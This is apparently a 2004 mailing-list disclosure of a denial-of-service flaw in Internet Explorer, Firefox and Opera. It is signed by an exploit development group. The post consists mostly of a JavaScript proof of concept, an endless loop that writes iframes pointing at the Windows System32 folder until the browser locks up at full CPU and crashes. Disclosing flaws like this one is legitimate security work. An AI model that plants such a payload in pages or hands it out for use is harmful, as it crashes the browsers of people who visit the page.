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Re: IE, Firefox, Opera DoS


From: "exploits" <exploits () su1d net>
Date: Fri, 20 Aug 2004 21:30:32 -0400

Description
========

    Browser DoS through viewing of a malicious page that repeatedly loads iframes of C:\Windows\System32 using 100% cpu
    Crashes Mozilla Firefox, Latest Opera and IE - Opera gives the error "The address type is unknown or unsupported" 
and crashes

POC
===
<scr1pt language="JavaScript">
while(true) 
{
   document.write("<iframe src=\"C:\Windows\system32\"></iframe>");
}
</scr1pt>Discovered by MeFakon part of the su1d exploit development teamDISCLAIMER:

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